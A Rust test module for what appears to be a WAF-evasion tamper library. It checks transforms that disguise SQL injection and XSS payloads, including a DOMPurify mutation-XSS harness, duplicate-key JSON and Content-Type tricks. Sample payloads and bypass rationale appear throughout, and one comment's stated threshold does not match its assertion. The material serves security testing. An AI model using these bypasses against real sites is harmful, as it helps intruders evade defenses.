        assert!(out.contains("admin"));
    }

    #[test]
    fn postgres_dollar_quote_deterministic_tag() {
        // Same input → same tag (gene-bank replay determinism).
        let strategy = PostgresDollarQuoteTamper;
        let a = strategy.tamper("'admin'", None);
        let b = strategy.tamper("'admin'", None);
        assert_eq!(a, b);
    }

    #[test]
    fn postgres_dollar_quote_no_change_when_no_quote() {
        let strategy = PostgresDollarQuoteTamper;
        // Payloads without single-quote literals pass through.
        assert_eq!(strategy.tamper("SELECT 1", None), "SELECT 1");
        assert_eq!(strategy.tamper("UNION SELECT", None), "UNION SELECT");
    }

    #[test]
    fn postgres_dollar_quote_handles_escaped_quote() {
        let strategy = PostgresDollarQuoteTamper;
        // SQL '' inside a literal — the encoder keeps them inside
        // the dollar-quoted block.
        let out = strategy.tamper("'a''b'", None);
        assert!(out.contains("a''b"), "got: {out}");
        // The output should not contain bare single quotes outside
        // the $tag$ wrap.
        let bare_quote_count = out
            .chars()
            .scan(false, |inside, c| {
                if c == '$' {
                    *inside = !*inside;
                }
                Some((c == '\'', *inside))
            })
            .filter(|(is_quote, inside)| *is_quote && !inside)
            .count();
        assert!(
            bare_quote_count <= 2,
            "Unexpected bare quotes in output: {out}"
        );
    }

    #[test]
    fn postgres_dollar_quote_empty_string_literal() {
        let strategy = PostgresDollarQuoteTamper;
        let out = strategy.tamper("''", None);
        // Empty literal becomes $tag$$tag$.
        assert!(out.contains("$"));
        assert!(!out.contains("'"));
    }

    #[test]
    fn postgres_dollar_quote_tag_uses_full_az_alphabet() {
        // F138 regression: pre-fix `& 25` (mask 0b11001) admitted only
        // {0,1,8,9,16,17,24,25} so the tag alphabet collapsed to
        // {a,b,i,j,q,r,y,z} — 8 letters, 8^4 = 4,096 tag space.
        // Post-fix `% 26` spans every letter a-z. Fire 200 distinct
        // payloads at the strategy, collect every tag-letter actually
        // emitted, prove the alphabet covers strictly more than the
        // pre-fix 8 letters.
        let strategy = PostgresDollarQuoteTamper;
        let mut letters = std::collections::HashSet::new();
        for i in 0..200 {
            let payload = format!("'p{i}'");
            let out = strategy.tamper(&payload, None);
            // Tag lives between the first two `$` bytes.
            let mut parts = out.split('$');
            let _ = parts.next(); // before first $
            if let Some(tag) = parts.next() {
                for c in tag.chars() {
                    letters.insert(c);
                }
            }
        }
        // Pre-fix this set had at most 8 letters; post-fix it should
        // span far more. Use 14 as a comfortable floor: any tighter
        // value risks flaking on hash distributions for small N, any
        // looser misses regressions to similar single-bit masks.
        assert!(
            letters.len() > 8,
            "tag alphabet collapsed: only {} distinct letters across 200 payloads — \
             pre-fix `& 25` permitted exactly 8. Saw: {letters:?}",
            letters.len()
        );
    }

    #[test]
    fn postgres_dollar_quote_classic_sqli_payload() {
        let strategy = PostgresDollarQuoteTamper;
        let out = strategy.tamper("' OR '1'='1", None);
        // Both quoted segments should be wrapped.
        assert!(out.contains("$"));
    }

    // ── MySQL versioned comment wrap tamper ─────────────────

    #[test]
    fn mysql_versioned_wrap_inserts_outer_comment() {
        let strategy = MysqlVersionedCommentWrapTamper;
        let out = strategy.tamper("UNION SELECT 1,2,3", None);
        assert!(out.starts_with("/*!50000 "));
        assert!(out.ends_with(" */"));
        assert!(out.contains("UNION SELECT 1,2,3"));
    }

    #[test]
    fn mysql_versioned_wrap_idempotent_double_apply() {
        // Applying twice is safe — wraps the already-wrapped payload.
        let strategy = MysqlVersionedCommentWrapTamper;
        let once = strategy.tamper("SELECT 1", None);
        let twice = strategy.tamper(&once, None);
        // Twice-wrapped MUST still contain the original keyword.
        assert!(twice.contains("SELECT 1"));
        // The outer wrap should still be present.
        assert!(twice.starts_with("/*!50000 "));
    }

    #[test]
    fn mysql_versioned_wrap_empty_input() {
        let strategy = MysqlVersionedCommentWrapTamper;
        assert_eq!(strategy.tamper("", None), "/*!50000  */");
    }

    #[test]
    fn mysql_versioned_wrap_does_not_corrupt_special_chars() {
        let strategy = MysqlVersionedCommentWrapTamper;
        // Backslash, quote, asterisk all pass through.
        let out = strategy.tamper("'a\\b*c'", None);
        assert!(out.contains("'a\\b*c'"));
    }

    // ── Bracket-confusable tamper ───────────────────────────

    #[test]
    fn bracket_confusable_replaces_ascii_angle_brackets() {
        let strategy = BracketConfusableTamper;
        let out = strategy.tamper("<script>alert(1)</script>", None);
        assert!(!out.contains('<'));
        assert!(!out.contains('>'));
        assert!(out.contains('\u{FF1C}'));
        assert!(out.contains('\u{FF1E}'));
        // The script content is preserved.
        assert!(out.contains("alert(1)"));
        assert!(out.contains("script"));
    }

    #[test]
    fn bracket_confusable_preserves_non_bracket_chars() {
        let strategy = BracketConfusableTamper;
        let out = strategy.tamper("abc 123 !@#", None);
        // No brackets in input → nothing changes.
        assert_eq!(out, "abc 123 !@#");
    }

    #[test]
    fn bracket_confusable_handles_only_open_or_close() {
        let strategy = BracketConfusableTamper;
        assert_eq!(strategy.tamper("<", None), "\u{FF1C}");
        assert_eq!(strategy.tamper(">", None), "\u{FF1E}");
        assert_eq!(
            strategy.tamper("<<>>", None),
            "\u{FF1C}\u{FF1C}\u{FF1E}\u{FF1E}"
        );
    }

    #[test]
    fn bracket_confusable_empty() {
        let strategy = BracketConfusableTamper;
        assert_eq!(strategy.tamper("", None), "");
    }

    #[test]
    fn bracket_confusable_aggressiveness_in_range() {
        let strategy = BracketConfusableTamper;
        let a = strategy.aggressiveness();
        assert!((0.0..=1.0).contains(&a));
    }

    // ── Cross-cutting invariants ────────────────────────────

    #[test]
    fn all_new_tampers_registered_by_default() {
        let registry = crate::tamper::TamperRegistry::with_defaults();
        for name in [
            "zero_width_inject",
            "postgres_dollar_quote",
            "mysql_versioned_comment_wrap",
            "bracket_confusable",
            "hex_literal_keyword",
            "bell_separator",
        ] {
            assert!(
                registry.get(name).is_some(),
                "tamper `{name}` missing from default registry"
            );
        }
    }

    #[test]
    fn obsolete_keyword_comment_split_tamper_was_removed() {
        // Regression guard — the keyword_comment_split tamper was
        // removed 2026-05 because MySQL treats `/* */` inside an
        // identifier as whitespace (so `SE/**/LECT` lexes as TWO
        // identifiers, NOT one).  This test ensures it never
        // accidentally gets re-registered without re-validating
        // the parsing semantics.
        let registry = crate::tamper::TamperRegistry::with_defaults();
        assert!(
            registry.get("keyword_comment_split").is_none(),
            "keyword_comment_split was removed because the transform breaks SQL parsing — \
             do not re-register without verifying MySQL/Postgres tokeniser semantics"
        );
    }

    // ── Hex-literal keyword tamper ──────────────────────────

    #[test]
    fn hex_literal_keyword_converts_single_quoted_to_hex() {
        let strategy = HexLiteralKeywordTamper;
        let out = strategy.tamper("WHERE name = 'admin'", None);
        assert!(!out.contains("'admin'"));
        assert!(out.contains("0x"));
        // 'admin' in hex bytes is 61 64 6d 69 6e.
        assert!(out.contains("0x61646d696e"));
    }

    #[test]
    fn hex_literal_keyword_idempotent_when_no_quoted_literal() {
        let strategy = HexLiteralKeywordTamper;
        assert_eq!(strategy.tamper("SELECT 1", None), "SELECT 1");
        assert_eq!(strategy.tamper("1=1", None), "1=1");
    }

    #[test]
    fn hex_literal_keyword_handles_multiple_literals() {
        let strategy = HexLiteralKeywordTamper;
        let out = strategy.tamper("'a' OR 'b'", None);
        // Both literals should be hex-converted.
        assert!(out.contains("0x61"));
        assert!(out.contains("0x62"));
        // OR keyword preserved.
        assert!(out.contains("OR"));
    }

    #[test]
    fn hex_literal_keyword_handles_doubled_quote_escape() {
        let strategy = HexLiteralKeywordTamper;
        // SQL `''` inside a literal is a single-quote.
        let out = strategy.tamper("'a''b'", None);
        // The inner '' becomes a single 0x27 inside the hex.
        assert!(out.contains("0x"));
    }

    #[test]
    fn hex_literal_keyword_empty_literal() {
        let strategy = HexLiteralKeywordTamper;
        let out = strategy.tamper("''", None);
        // Empty quoted literal becomes the empty hex literal `0x`.
        assert_eq!(out, "0x");
    }

    #[test]
    fn hex_literal_keyword_preserves_non_quote_text() {
        let strategy = HexLiteralKeywordTamper;
        let out = strategy.tamper("LIMIT 10 OFFSET 5", None);
        assert_eq!(out, "LIMIT 10 OFFSET 5");
    }

    #[test]
    fn hex_literal_keyword_non_ascii_chars_encode_to_utf8_hex() {
        let strategy = HexLiteralKeywordTamper;
        // 'é' = 0xC3 0xA9 (UTF-8).
        let out = strategy.tamper("'é'", None);
        assert!(out.contains("c3a9") || out.contains("C3A9"));
    }

    // ── Bell-separator tamper ───────────────────────────────

    #[test]
    fn bell_separator_replaces_space_with_bel() {
        let strategy = BellSeparatorTamper;
        assert_eq!(strategy.tamper("UNION SELECT", None), "UNION\u{0007}SELECT");
    }

    #[test]
    fn bell_separator_leaves_tab_and_newline_alone() {
        let strategy = BellSeparatorTamper;
        let out = strategy.tamper("a\tb\nc", None);
        // Only the literal ASCII space is replaced.
        assert!(out.contains('\t'));
        assert!(out.contains('\n'));
        assert!(!out.contains('\u{0007}'));
    }

    #[test]
    fn bell_separator_multiple_spaces_each_become_bel() {
        let strategy = BellSeparatorTamper;
        let out = strategy.tamper("a   b", None);
        assert_eq!(out.matches('\u{0007}').count(), 3);
        assert!(!out.contains(' '));
    }

    #[test]
    fn bell_separator_empty_input() {
        let strategy = BellSeparatorTamper;
        assert_eq!(strategy.tamper("", None), "");
    }

    #[test]
    fn bell_separator_no_space_unchanged() {
        let strategy = BellSeparatorTamper;
        assert_eq!(strategy.tamper("foo", None), "foo");
    }

    #[test]
    fn bell_separator_classic_payload_round_trips_via_split() {
        // Property: replacing BEL back to space recovers the
        // original.
        let strategy = BellSeparatorTamper;
        let inputs = ["UNION SELECT 1", "OR 1=1 -- ", "<script>alert(1)</script>"];
        for input in inputs {
            let tampered = strategy.tamper(input, None);
            let restored = tampered.replace('\u{0007}', " ");
            assert_eq!(restored, input);
        }
    }

    #[test]
    fn all_new_tampers_have_unique_names() {
        let names = [
            ZeroWidthInjectTamper.name(),
            PostgresDollarQuoteTamper.name(),
            MysqlVersionedCommentWrapTamper.name(),
            BracketConfusableTamper.name(),
            MxssNamespaceWrapTamper.name(),
        ];
        let set: std::collections::HashSet<&str> = names.iter().copied().collect();
        assert_eq!(set.len(), names.len());
    }

    // ── MxssNamespaceWrapTamper (CVE-2025-26791 / DOMPurify mXSS) ──

    #[test]
    fn mxss_namespace_wrap_emits_mathml_harness() {
        let t = MxssNamespaceWrapTamper;
        let out = t.tamper("onerror=alert(1)", None);
        // Must open the MathML text-integration seam.
        assert!(out.starts_with("<math>"), "missing MathML root: {out}");
        // Must close the sanitiser's view of the style element with
        // the load-bearing comment-open inside `</style>`.
        assert!(
            out.contains("<style><!--</style>"),
            "missing comment-trick style close: {out}"
        );
        // Must re-open with an <img> that carries the operator's
        // payload as its attribute set.
        assert!(
            out.contains("<img src=x onerror=alert(1)>"),
            "payload missing: {out}"
        );
    }

    #[test]
    fn mxss_namespace_wrap_does_not_contain_literal_script_tag() {
        // The class is mutation-XSS; the wire bytes deliberately do
        // NOT contain `<script`. Pin that — a regression that adds
        // a literal `<script>` would defeat the bypass since every
        // WAF on earth blocks that token.
        let t = MxssNamespaceWrapTamper;
        let out = t.tamper("onerror=fetch('/x')", None);
        assert!(
            !out.to_ascii_lowercase().contains("<script"),
            "namespace wrap MUST NOT emit literal <script>: {out}"
        );
    }

    #[test]
    fn mxss_namespace_wrap_handles_empty_payload() {
        let t = MxssNamespaceWrapTamper;
        let out = t.tamper("", None);
        assert!(
            out.starts_with("<math>"),
            "empty payload still produces harness: {out}"
        );
        assert!(
            out.ends_with("<img src=x >"),
            "empty payload yields bare <img>: {out}"
        );
    }

    #[test]
    fn mxss_namespace_wrap_aggressiveness_in_range() {
        let a = MxssNamespaceWrapTamper.aggressiveness();
        assert!((0.0..=1.0).contains(&a) && !a.is_nan());
    }

    #[test]
    fn mxss_namespace_wrap_panic_safe_on_pathological_input() {
        let t = MxssNamespaceWrapTamper;
        let _ = t.tamper(&"A".repeat(1_000_000), None);
        let _ = t.tamper("\0\x01\u{FFFD}\u{200B}", None);
    }

    #[test]
    fn all_new_tampers_have_non_empty_descriptions() {
        for strat in [
            &ZeroWidthInjectTamper as &dyn TamperStrategy,
            &PostgresDollarQuoteTamper,
            &MysqlVersionedCommentWrapTamper,
            &BracketConfusableTamper,
        ] {
            assert!(
                !strat.description().is_empty(),
                "{} has empty description",
                strat.name()
            );
            assert!(
                strat.description().len() > 20,
                "{} description too short",
                strat.name()
            );
        }
    }

    #[test]
    fn all_new_tampers_aggressiveness_in_range() {
        for strat in [
            &ZeroWidthInjectTamper as &dyn TamperStrategy,
            &PostgresDollarQuoteTamper,
            &MysqlVersionedCommentWrapTamper,
            &BracketConfusableTamper,
        ] {
            let a = strat.aggressiveness();
            assert!(
                (0.0..=1.0).contains(&a) && !a.is_nan(),
                "{} aggressiveness {} out of [0, 1]",
                strat.name(),
                a
            );
        }
    }

    #[test]
    fn all_new_tampers_handle_pathological_input_without_panic() {
        // Empty, multi-MB, UTF-8 boundary, control chars — all
        // must be panic-safe.
        let huge: String = "A".repeat(1_000_000);
        let weird = "\0\x01\x02\x7f\u{FFFD}\u{200B}";
        for strat in [
            &ZeroWidthInjectTamper as &dyn TamperStrategy,
            &PostgresDollarQuoteTamper,
            &MysqlVersionedCommentWrapTamper,
            &BracketConfusableTamper,
        ] {
            let _ = strat.tamper("", None);
            let _ = strat.tamper(&huge, None);
            let _ = strat.tamper(weird, None);
        }
    }

    // ── JsonDupKeyTamper (frontier 2026 / WAFFLED corpus) ────

    #[test]
    fn json_dup_key_emits_duplicate_q_envelope() {
        let t = JsonDupKeyTamper;
        let out = t.tamper("evil", None);
        // The envelope MUST contain BOTH `"q":"safe"` (the WAF
        // sentinel) and `"q":"evil"` (the backend-visible payload).
        assert!(out.contains("\"q\":\"safe\""), "missing first key: {out}");
        assert!(out.contains("\"q\":\"evil\""), "missing dup key: {out}");
        // Outer braces — must be a structurally-valid JSON envelope.
        assert!(out.starts_with('{') && out.ends_with('}'));
    }

    #[test]
    fn json_dup_key_escapes_payload_quotes() {
        // Payload containing literal `"` must not break the envelope.
        let t = JsonDupKeyTamper;
        let out = t.tamper("' OR 1=1--\"--", None);
        assert!(
            out.contains("OR 1=1--\\\"--"),
            "payload `\"` not escaped: {out}"
        );
        // Round-trip: serde_json must parse the envelope successfully.
        let v: serde_json::Value = serde_json::from_str(&out)
            .expect("envelope must be valid JSON even with escaped quote");
        // Behaviour of serde_json on duplicate keys: takes the LAST.
        // Verify the LAST value carries the (unescaped) payload.
        assert_eq!(v["q"].as_str(), Some("' OR 1=1--\"--"));
    }

    #[test]
    fn json_dup_key_escapes_backslash_and_control_bytes() {
        let t = JsonDupKeyTamper;
        let out = t.tamper("a\\b\nc\rd\te\u{0007}f", None);
        // Backslash + newline / CR / tab must be JSON-escaped.
        assert!(out.contains("a\\\\b"));
        assert!(out.contains("\\n"));
        assert!(out.contains("\\r"));
        assert!(out.contains("\\t"));
        // BEL (0x07) must be .
        assert!(out.contains("\\u0007"), "BEL not escaped to \\u0007: {out}");
        // Still round-trips through serde_json.
        let _: serde_json::Value = serde_json::from_str(&out).expect("valid JSON");
    }

    #[test]
    fn json_dup_key_handles_empty_payload() {
        let t = JsonDupKeyTamper;
        let out = t.tamper("", None);
        // Empty payload is fine — both keys present, second value
        // is empty string.
        assert_eq!(out, "{\"q\":\"safe\",\"q\":\"\"}");
    }

    #[test]
    fn json_dup_key_name_and_aggressiveness_within_bounds() {
        let t = JsonDupKeyTamper;
        assert_eq!(t.name(), "json_dup_key");
        let a = t.aggressiveness();
        assert!((0.0..=1.0).contains(&a), "aggressiveness out of range: {a}");
    }

    #[test]
    fn json_dup_key_is_registered_in_default_registry() {
        // Anti-regression: forgetting to add the tamper to
        // DEFAULT_NAMES + the with_defaults match arm is silent —
        // the tamper exists but can't be selected via `--only`.
        // This test pins the wiring.
        let registry = crate::tamper::TamperRegistry::with_defaults();
        assert!(
            registry.get("json_dup_key").is_some(),
            "json_dup_key must be in TamperRegistry::with_defaults()"
        );
    }

    // ── CtStarvationTamper (frontier 2026 / WAFFLED + windshock) ──

    #[test]
    fn ct_starvation_wraps_body_context_in_form_pair() {
        let t = CtStarvationTamper;
        let out = t.tamper("' OR 1=1--", Some("body"));
        assert_eq!(out, "q=' OR 1=1--");
    }

    #[test]
    fn ct_starvation_handles_form_json_multipart_contexts() {
        let t = CtStarvationTamper;
        for ctx in ["body", "form", "json", "multipart"] {
            assert_eq!(
                t.tamper("X", Some(ctx)),
                "q=X",
                "context {ctx} must produce form-pair wrap"
            );
        }
    }

    #[test]
    fn ct_starvation_is_no_op_for_header_and_query_contexts() {
        // The tamper has no leverage in header / cookie carriers;
        // returning the payload unchanged is honest behaviour
        // (operator selecting --target-context header gets a
        // no-op variant they can spot in --explain).
        let t = CtStarvationTamper;
        assert_eq!(t.tamper("X", Some("header")), "X");
        assert_eq!(t.tamper("X", Some("cookie")), "X");
        assert_eq!(t.tamper("X", Some("query")), "X");
        assert_eq!(t.tamper("X", None), "X");
    }

    #[test]
    fn ct_starvation_header_for_returns_one_of_known_variants() {
        // Hash-based dispatch must produce a deterministic output
        // from the documented set. Anti-regression: silently
        // emitting "application/json" (canonical, no bypass) would
        // defeat the entire point of the tamper.
        const ALLOWED: &[&str] = &[
            "APPLICATION/JSON",
            "Application/Json",
            "application/json; charset=ibm037",
            "text/plain",
            "application/x-www-form-urlencoded",
        ];
        for p in ["a", "longer-payload", "' OR 1=1--", ""] {
            let ct = ct_starvation_header_for(p);
            assert!(
                ALLOWED.contains(&ct),
                "header for {p:?} not in known-effective set: {ct}"
            );
        }
    }

    #[test]
    fn ct_starvation_header_for_is_stable_per_payload() {
        // Two calls with the same payload must return the same
        // header — debugging-friendly: an operator who re-runs a
        // failing case gets the same Content-Type advertised.
        for p in ["x", "very long payload bytes here"] {
            let a = ct_starvation_header_for(p);
            let b = ct_starvation_header_for(p);
            assert_eq!(a, b, "ct_starvation_header_for not stable for {p:?}");
        }
    }

    #[test]
    fn ct_starvation_is_registered_in_default_registry() {
        let registry = crate::tamper::TamperRegistry::with_defaults();
        assert!(
            registry.get("ct_starvation").is_some(),
            "ct_starvation must be in TamperRegistry::with_defaults()"
        );
    }

    #[test]
    fn json_escape_string_matches_serde_json_for_unicode() {
        // The escape helper is hand-rolled; verify it doesn't
        // diverge from serde_json's output for benign Unicode (no
        // double-escape, no missing escapes). Pure-ASCII fast path.
        for raw in ["plain ASCII", "café", "日本語", "🔥"] {
            let ours = json_escape_string(raw);
            // Round-trip through serde_json by wrapping in quotes.
            let wrapped = format!("\"{ours}\"");
            let parsed: String = serde_json::from_str(&wrapped)
                .unwrap_or_else(|e| panic!("our escape of {raw:?} fails JSON parse: {e}"));
            assert_eq!(parsed, raw);
        }
    }
}